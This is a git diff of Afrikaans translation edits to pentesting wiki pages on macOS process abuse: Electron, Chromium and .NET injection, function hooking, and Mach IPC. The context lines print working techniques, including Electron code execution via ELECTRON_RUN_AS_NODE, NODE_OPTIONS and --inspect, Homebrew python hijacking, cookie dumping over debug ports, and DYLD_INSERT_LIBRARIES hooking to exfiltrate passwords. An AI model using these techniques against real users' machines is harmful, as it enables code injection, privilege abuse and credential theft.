indeksering, sinkronisering, of rugsteun. Hulle het die laagste prioriteit en minimale impak op stelsels prestasie. Deur QoS klasse te gebruik, hoef ontwikkelaars nie die presiese prioriteitsnommers te bestuur nie, maar eerder te fokus op die aard van die taak, en die stelsel optimaliseer die CPU hulpbronne dienooreenkomstig. -Boonop is daar verskillende **thread skedulering beleid** wat vloei om 'n stel skeduleringsparameters te spesifiseer wat die skeduler in ag sal neem. Dit kan gedoen word met `thread_policy_[set/get]`. Dit kan nuttig wees in wedlooptoestand aanvalle. +Boonop is daar verskillende **thread skeduleringsbeleide** wat vloei om 'n stel skeduleringsparameters te spesifiseer wat die skeduleerder in ag sal neem. Dit kan gedoen word met `thread_policy_[set/get]`. Dit kan nuttig wees in wedlooptoestand aanvalle. ## MacOS Proses Misbruik @@ -153,7 +153,7 @@ macos-library-injection/ ### Funksie Haak -Funksie Haak behels **om funksie-oproepe** of boodskappe binne 'n sagtewarekode te onderskep. Deur funksies te haak, kan 'n aanvaller die **gedrag** van 'n proses **wysig**, sensitiewe data waarneem, of selfs beheer oor die uitvoeringsvloei verkry. +Funksie Haak behels **die onderskep van funksie-oproepe** of boodskappe binne 'n sagtewarekode. Deur funksies te haak, kan 'n aanvaller die **gedrag** van 'n proses **wysig**, sensitiewe data waarneem, of selfs beheer oor die uitvoeringsvloei verkry. {{#ref}} macos-function-hooking.md @@ -177,7 +177,7 @@ macos-electron-applications-injection.md ### Chromium Inspuiting -Dit is moontlik om die vlae `--load-extension` en `--use-fake-ui-for-media-stream` te gebruik om 'n **man in the browser aanval** uit te voer wat toelaat om toetsaanslagte, verkeer, koekies, en skripte in bladsye te steel...: +Dit is moontlik om die vlae `--load-extension` en `--use-fake-ui-for-media-stream` te gebruik om 'n **man in the browser aanval** uit te voer wat toelaat om toetsaanslagen, verkeer, koekies, en skripte in bladsye te steel...: {{#ref}} macos-chromium-injection.md @@ -185,7 +185,7 @@ macos-chromium-injection.md ### Dirty NIB -NIB lêers **definieer gebruikerskoppelvlak (UI) elemente** en hul interaksies binne 'n toepassing. Dit kan egter **arbitraire opdragte uitvoer** en **Gatekeeper stop nie** 'n reeds uitgevoerde toepassing om uitgevoer te word as 'n **NIB lêer gewysig word** nie. Daarom kan dit gebruik word om arbitraire programme arbitraire opdragte te laat uitvoer: +NIB lêers **definieer gebruikerskoppelvlak (UI) elemente** en hul interaksies binne 'n toepassing. Dit kan egter **arbitraire opdragte uitvoer** en **Gatekeeper stop nie** 'n reeds uitgevoerde toepassing om uitgevoer te word as 'n **NIB lêer gewysig word**. Daarom kan dit gebruik word om arbitraire programme arbitraire opdragte te laat uitvoer: {{#ref}} macos-dirty-nib.md @@ -233,7 +233,7 @@ Ander omgewing veranderlikes soos **`PYTHONPATH`** en **`PYTHONHOME`** kan ook n Let daarop dat uitvoerbare lêers wat met **`pyinstaller`** gecompileer is, nie hierdie omgewingsveranderlikes sal gebruik nie, selfs al loop hulle met 'n ingebedde python. > [!CAUTION] -> Oor die algemeen kon ek nie 'n manier vind om python arbitraire kode uit te voer deur omgewing veranderlikes te misbruik nie.\ +> Oor die algemeen kon ek nie 'n manier vind om python arbitraire kode te laat uitvoer deur omgewing veranderlikes te misbruik nie.\ > Die meeste mense installeer egter python met **Hombrew**, wat python in 'n **skryfbare ligging** vir die standaard admin gebruiker sal installeer. Jy kan dit oorneem met iets soos: > > ```bash @@ -246,7 +246,7 @@ Let daarop dat uitvoerbare lêers wat met **`pyinstaller`** gecompileer is, nie > chmod +x /opt/homebrew/bin/python3 > ``` > -> Selfs **root** sal hierdie kode uitvoer wanneer python uitgevoer word. +> Selfs **root** sal hierdie kode uitvoer wanneer hy python uitvoer. ## Opsporing @@ -256,8 +256,8 @@ Let daarop dat uitvoerbare lêers wat met **`pyinstaller`** gecompileer is, nie - Deur **Omgewing Veranderlikes**: Dit sal die teenwoordigheid van enige van die volgende omgewing veranderlikes monitor: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** en **`ELECTRON_RUN_AS_NODE`** - Deur **`task_for_pid`** oproepe: Om te vind wanneer een proses die **taakpoort van 'n ander** wil kry wat toelaat om kode in die proses in te spuit. -- **Electron apps parameters**: Iemand kan **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`** opdraglyn argument gebruik om 'n Electron app in foutopsporing modus te begin, en dus kode daarin in te spuit. -- Deur **symlinks** of **hardlinks**: Tipies is die mees algemene misbruik om **'n skakel met ons gebruikersprivileges te plaas**, en **dit na 'n hoër privilige** ligging te wys. Die opsporing is baie eenvoudig vir beide hardlink en symlinks. As die proses wat die skakel skep 'n **verskillende privilige vlak** het as die teiken lêer, skep ons 'n **waarskuwing**. Ongelukkig is dit in die geval van symlinks nie moontlik om te blokkeer nie, aangesien ons nie inligting oor die bestemming van die skakel voor die skepping het nie. Dit is 'n beperking van Apple se EndpointSecurity raamwerk. +- **Electron apps params**: Iemand kan **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`** opdraglyn argument gebruik om 'n Electron app in foutopsporing modus te begin, en dus kode daarin in te spuit. +- Deur **symlinks** of **hardlinks**: Tipies is die mees algemene misbruik om **'n skakel met ons gebruikersprivileges te plaas**, en **dit na 'n hoër privilige** ligging te wys. Die opsporing is baie eenvoudig vir beide hardlink en symlinks. As die proses wat die skakel skep 'n **ander privilige vlak** het as die teikenlêer, skep ons 'n **waarskuwing**. Ongelukkig is dit in die geval van symlinks nie moontlik om te blokkeer nie, aangesien ons nie inligting oor die bestemming van die skakel voor die skepping het nie. Dit is 'n beperking van Apple se EndpointSecurity raamwerk. ### Oproepe gemaak deur ander prosesse diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 2a9930e93..a513b0296 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -8,7 +8,7 @@ ### **Oopstel van 'n Foutopsporing Sessie** -Die hantering van kommunikasie tussen die foutopsporing en die foutopsporing doelwit in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee benoemde pype per .NET proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geinitieer word deur [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype is gesuffikseerd met **`-in`** en **`-out`**. +Die hantering van kommunikasie tussen die foutopsporing en die foutopsporing doelwit in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee benoemde pype per .NET proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geinitieer word via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype is gesuffikseerd met **`-in`** en **`-out`**. Deur die gebruiker se **`$TMPDIR`** te besoek, kan 'n mens foutopsporing FIFOs vind wat beskikbaar is vir die foutopsporing van .Net toepassings. @@ -31,7 +31,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg ingevul, wat die boodskap tipe op `MT_SessionRequest` stel en die protokolweergawe op die huidige weergawe stel: +Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg ingevul, wat die boodskap tipe op `MT_SessionRequest` stel en die protokol weergawe op die huidige weergawe: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -91,11 +91,11 @@ Om kode uit te voer, moet 'n geheuegebied met rwx-toestemmings geïdentifiseer w vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -'n Plek om 'n funksie-aanwyser te oorskryf, is nodig, en in .NET Core kan dit gedoen word deur die **Dynamic Function Table (DFT)** te teiken. Hierdie tabel, wat in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) beskryf word, word deur die runtime gebruik vir JIT-kompilasie-hulpfunksies. +'n Plek om 'n funksie-aanwyser te oorskryf, is nodig, en in .NET Core kan dit gedoen word deur die **Dynamiese Funksietabel (DFT)** te teiken. Hierdie tabel, wat in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) beskryf word, word deur die runtime gebruik vir JIT-kompilasie-hulpfunksies. Vir x64-stelsels kan handtekeningjag gebruik word om 'n verwysing na die simbool `_hlpDynamicFuncTable` in `libcorclr.dll` te vind. -Die `MT_GetDCB` debuggersfunksie verskaf nuttige inligting, insluitend die adres van 'n hulpfunksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die adres van die shellcode te oorskryf. +Die `MT_GetDCB` debuggingsfunksie verskaf nuttige inligting, insluitend die adres van 'n hulpfunksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die shellcode se adres te oorskryf. Die volledige POC-kode vir inspuiting in PowerShell is beskikbaar [hier](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md index 2ec4d712c..92679769a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md @@ -1,4 +1,4 @@ -# macOS Chromium Injection +# macOS Chromium Inspuiting {{#include ../../../banners/hacktricks-training.md}} @@ -8,7 +8,7 @@ Chromium-gebaseerde blaaiers soos Google Chrome, Microsoft Edge, Brave, en ander #### `--load-extension` Vlag -Die `--load-extension` vlag word gebruik wanneer 'n Chromium-gebaseerde blaier vanaf die opdraglyn of 'n skrif begin word. Hierdie vlag stel in staat om **een of meer uitbreidings outomaties in die blaier te laai** by opstart. +Die `--load-extension` vlag word gebruik wanneer 'n Chromium-gebaseerde blaier vanaf die opdraglyn of 'n skrif begin word. Hierdie vlag stel in staat om **outomaties een of meer uitbreidings** in die blaier te laai by opstart. #### `--use-fake-ui-for-media-stream` Vlag diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 3bf66e251..27617d237 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,7 +4,7 @@ ## Basiese Inligting -As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou moet jy net weet dat Electron **node** uitvoer.\ +As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou moet jy net weet dat Electron **node** draai.\ En node het 'n paar **parameters** en **omgewing veranderlikes** wat gebruik kan word om **ander kode uit te voer** behalwe die aangeduide lêer. ### Electron Fuse @@ -14,7 +14,7 @@ Hierdie tegnieke sal volgende bespreek word, maar in onlangse tye het Electron v - **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit. - **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit vermy hierdie manier om kode in te spuit. - **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode inspuiting** deur die inhoud van hierdie lêer te verander. -- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs app.asar nagaan en gebruik, in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**. +- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit sal net app.asar nagaan en gebruik, wat verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**. - **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaiersproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot. Nog 'n interessante fuse wat nie kode inspuiting sal voorkom nie, is: @@ -50,7 +50,7 @@ U kan hierdie lêer in [https://hexed.it/](https://hexed.it/) laai en soek na di
-Let daarop dat as u probeer om die **`Electron Framework` binêre** binne 'n toepassing met hierdie bytes gewysig, sal die app nie loop nie. +Let daarop dat as u probeer om die **`Electron Framework` binêre** binne 'n toepassing met hierdie bytes wat gewysig is, die app nie sal loop nie. ## RCE voeg kode by Electron Toepassings @@ -64,7 +64,7 @@ Daar kan **eksterne JS/HTML lêers** wees wat 'n Electron App gebruik, so 'n aan > > Dit maak hierdie aanvalspad meer ingewikkeld (of onmoontlik). -Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die gids **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, **die** **asar** lêer met u **kwaadwillige** kode te **wysig**, dit weer terug te hernoem na **`app.app/Contents`** en dit uit te voer. +Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, **die** **asar** lêer met u **kwaadwillige** kode te **wysig**, dit weer terug te hernoem na **`app.app/Contents`** en dit uit te voer. U kan die kode uit die asar lêer onpack met: ```bash @@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> As die sekering **`RunAsNode`** gedeaktiveer is, sal die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word, en dit sal nie werk nie. +> As die fuse **`RunAsNode`** gedeaktiveer is, sal die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word, en dit sal nie werk nie. ### Inspuiting vanaf die App Plist @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> As die fuse **`EnableNodeOptionsEnvironmentVariable`** is **deaktiveer**, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variabele **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is. +> As die fuse **`EnableNodeOptionsEnvironmentVariable`** **deaktiveer** is, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variabele **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is. > > As jy nie **`ELECTRON_RUN_AS_NODE`** stel nie, sal jy die **fout** vind: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -147,7 +147,7 @@ Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur ``` ## RCE met inspeksie -Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daaraan kan koppel (byvoorbeeld van Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\ +Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daarop kan aansluit (byvoorbeeld vanaf Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\ Byvoorbeeld: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 @@ -159,7 +159,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > > U kan egter steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige payload sal nie werk om ander prosesse uit te voer nie. -Met die param **`--remote-debugging-port=9222`** is dit moontlik om sommige inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle **ontsleuteld** binne die blaaiers is en daar 'n **json endpoint** is wat hulle sal gee). +Met die param **`--remote-debugging-port=9222`** is dit moontlik om 'n paar inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle **ontsleuteld** binne die blaaiers is en daar 'n **json eindpunt** is wat hulle sal gee). U kan leer hoe om dit te doen in [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese hulpmiddel [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skrip soos: ```python @@ -192,14 +192,14 @@ Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handh > [!TIP] > Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die toepassing nie. So as jy **nie kode in 'n Electron-toepassing kan inspuit nie** met enige van die vorige tegnieke, kan jy 'n vorige weergawe van die APP aflaai en kode daarop inspuit, aangesien dit steeds die TCC voorregte sal ontvang (tenzij Trust Cache dit voorkom). -## Voer nie JS Kode uit +## Voer nie-JS Kode uit -Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind proses onder dieselfde sandbox profiel** as die ouer toepassing loop en **hulle TCC toestemmings erf**.\ +Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind prosesse onder dieselfde sandbox profiel** as die ouer toepassing loop en **hul TCC toestemmings erf**.\ Daarom, as jy voorregte wil misbruik om toegang tot die kamera of mikrofoon te verkry, kan jy eenvoudig **'n ander binêre vanaf die proses uitvoer**. ## Outomatiese Inspuiting -Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwetsbare electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik: +Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwulnerable electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik: Jy moet dit self saamstel en kan dit soos volg gebruik: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md index d93b05446..d76fe7d16 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md @@ -4,7 +4,7 @@ ## Funksie Interposisie -Skep 'n **dylib** met 'n **`__interpose` (`__DATA___interpose`)** afdeling (of 'n afdeling gemerk met **`S_INTERPOSING`**) wat tupels van **funksie wysers** bevat wat na die **oorspronklike** en die **vervanging** funksies verwys. +Skep 'n **dylib** met 'n **`__interpose` (`__DATA___interpose`)** afdeling (of 'n afdeling gemerk met **`S_INTERPOSING`**) wat tuples van **funksie wysers** bevat wat na die **oorspronklike** en die **vervanging** funksies verwys. Dan, **inspuit** die dylib met **`DYLD_INSERT_LIBRARIES`** (die interposisie moet plaasvind voordat die hoof toepassing laai). Dit is duidelik dat die [**beperkings** wat op die gebruik van **`DYLD_INSERT_LIBRARIES`** van toepassing is, hier ook van toepassing is](macos-library-injection/#check-restrictions). @@ -106,7 +106,7 @@ Die objek is **`someObject`**, die metode is **`@selector(method1p1:p2:)`** en d Volg die objekstrukture, dit is moontlik om 'n **array van metodes** te bereik waar die **name** en **pointers** na die metodekode **geleë** is. > [!CAUTION] -> Let daarop dat omdat metodes en klasse toeganklik is op grond van hul name, hierdie inligting in die binêre gestoor word, so dit is moontlik om dit te herwin met `otool -ov ` of [`class-dump `](https://github.com/nygard/class-dump) +> Let daarop dat omdat metodes en klasse toeganklik is op grond van hul name, hierdie inligting in die binêre gestoor word, so dit is moontlik om dit te onttrek met `otool -ov ` of [`class-dump `](https://github.com/nygard/class-dump) ### Toegang tot die rou metodes @@ -178,10 +178,10 @@ return 0; ``` ### Metode Swizzling met method_exchangeImplementations -Die funksie **`method_exchangeImplementations`** laat toe om die **adres** van die **implementering** van **een funksie vir die ander** te **verander**. +Die funksie **`method_exchangeImplementations`** maak dit moontlik om die **adres** van die **implementering** van **een funksie vir die ander** te **verander**. > [!CAUTION] -> So wanneer 'n funksie aangeroep word, wat **uitgevoer word is die ander een**. +> So wanneer 'n funksie aangeroep word, is dit wat **uitgevoer word die ander een**. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -226,15 +226,15 @@ return 0; } ``` > [!WARNING] -> In hierdie geval, as die **implementasiekode van die wettige** metode **verifieer** die **metode** **naam**, kan dit hierdie swizzling **opspoor** en voorkom dat dit loop. +> In hierdie geval, as die **implementasiekode van die wettige** metode **verifieer** die **metode** **naam**, kan dit hierdie swizzling **ontdek** en voorkom dat dit loop. > > Die volgende tegniek het nie hierdie beperking nie. ### Metode Swizzling met method_setImplementation -Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes van mekaar verander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die **implementasie** van 'n **metode vir die ander een** **verander**. +Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes een van die ander verander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die **implementasie** van 'n **metode vir die ander een** **verander**. -Onthou net om die **adres van die implementasie van die oorspronklike een** te **stoor** as jy dit van die nuwe implementasie af gaan aanroep voordat jy dit oorskryf, want later sal dit baie moeiliker wees om daardie adres te lokaliseer. +Onthou net om die **adres van die implementasie van die oorspronklike een** te **stoor** as jy dit van die nuwe implementasie af gaan aanroep voordat jy dit oorskryf, want later sal dit baie moeilik wees om daardie adres te lokaliseer. ```objectivec #import #import @@ -292,11 +292,11 @@ In hierdie bladsy is verskillende maniere om funksies te hook bespreek. Dit het Om dit te doen, is die maklikste tegniek om te gebruik om 'n [Dyld via omgewing veranderlikes of hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md) in te spuit. Ek vermoed egter dat dit ook gedoen kan word via [Dylib proses inspuiting](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -Albei opsies is egter **beperk** tot **onbeskermde** binêre/prosesse. Kyk na elke tegniek om meer oor die beperkings te leer. +Beide opsies is egter **beperk** tot **onbeskermde** binêre/prosesse. Kyk na elke tegniek om meer oor die beperkings te leer. -'n Funksie hooking aanval is egter baie spesifiek; 'n aanvaller sal dit doen om **sensitiewe inligting van binne 'n proses te steel** (as nie, sou jy net 'n proses inspuiting aanval doen). En hierdie sensitiewe inligting mag in gebruiker afgelaaide toepassings soos MacPass geleë wees. +'n Funksie hooking aanval is egter baie spesifiek, 'n aanvaller sal dit doen om **sensitiewe inligting van binne 'n proses te steel** (as nie, sou jy net 'n proses inspuiting aanval doen). En hierdie sensitiewe inligting mag geleë wees in gebruiker afgelaaide Apps soos MacPass. -Die aanvaller se vektor sou wees om of 'n kwesbaarheid te vind of die handtekening van die toepassing te verwyder, en die **`DYLD_INSERT_LIBRARIES`** omgewing veranderlike deur die Info.plist van die toepassing in te spuit deur iets soos: +Die aanvaller se vektor sou wees om of 'n kwesbaarheid te vind of die handtekening van die toepassing te verwyder, die **`DYLD_INSERT_LIBRARIES`** omgewing veranderlike deur die Info.plist van die toepassing in te spuit en iets soos: ```xml LSEnvironment @@ -308,10 +308,10 @@ en dan **herregistreer** die toepassing: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` -Voeg die hooking kode in daardie biblioteek in om die inligting te exfiltreer: Wagwoorde, boodskappe... +Voeg in daardie biblioteek die hooking kode in om die inligting te exfiltreer: Wagwoorde, boodskappe... > [!CAUTION] -> Let daarop dat in nuwer weergawes van macOS, as jy die **handtekening** van die toepassingsbinêre verwyder en dit voorheen uitgevoer is, sal macOS **nie die toepassing** weer uitvoer nie. +> Let daarop dat in nuwer weergawes van macOS, as jy die **handtekening verwyder** van die toepassingsbinêre en dit voorheen uitgevoer is, macOS **nie die toepassing** meer sal uitvoer nie. #### Biblioteek voorbeeld ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index 62767c3e4..9665e2387 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -8,11 +8,11 @@ Mach gebruik **take** as die **kleinste eenheid** vir die deel van hulpbronne, en elke taak kan **meerdere drade** bevat. Hierdie **take en drade is 1:1 gekarteer na POSIX prosesse en drade**. -Kommunikasie tussen take vind plaas via Mach Inter-Process Communication (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word tussen poorte oorgedra**, wat optree as soort van **boodskapqueues** wat deur die kernel bestuur word. +Kommunikasie tussen take vind plaas via Mach Inter-Process Communication (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word tussen poorte oorgedra**, wat optree as **boodskap rye** wat deur die kernel bestuur word. 'n **poort** is die **basiese** element van Mach IPC. Dit kan gebruik word om **boodskappe te stuur en om** dit te ontvang. -Elke proses het 'n **IPC tabel**, waar dit moontlik is om die **mach poorte van die proses** te vind. Die naam van 'n mach poort is eintlik 'n nommer (naanwyser na die kernel objek). +Elke proses het 'n **IPC tabel**, waar dit moontlik is om die **mach poorte van die proses** te vind. Die naam van 'n mach poort is eintlik 'n nommer (n aanduiding na die kernel objek). 'n Proses kan ook 'n poortnaam met sekere regte **na 'n ander taak** stuur en die kernel sal hierdie inskrywing in die **IPC tabel van die ander taak** laat verskyn. @@ -20,52 +20,52 @@ Elke proses het 'n **IPC tabel**, waar dit moontlik is om die **mach poorte van Poort regte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike **poort regte** is ([definisies hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Ontvang reg**, wat toelaat om boodskappe wat na die poort gestuur word, te ontvang. Mach poorte is MPSC (meervoudige produsent, enkele verbruiker) queues, wat beteken dat daar slegs **een ontvang reg vir elke poort** in die hele stelsel mag wees (in teenstelling met pype, waar meerdere prosesse almal lêerdeskriptoren na die leeskant van een pyp kan hou). +- **Ontvang reg**, wat die ontvang van boodskappe wat na die poort gestuur word, toelaat. Mach poorte is MPSC (meervoudige produsent, enkele verbruiker) rye, wat beteken dat daar slegs **een ontvang reg vir elke poort** in die hele stelsel mag wees (in teenstelling met pype, waar verskeie prosesse almal lêer beskrywings na die leeskant van een pyp kan hou). - 'n **taak met die Ontvang** reg kan boodskappe ontvang en **Stuur regte** skep, wat dit toelaat om boodskappe te stuur. Oorspronklik het slegs die **eie taak die Ontvang 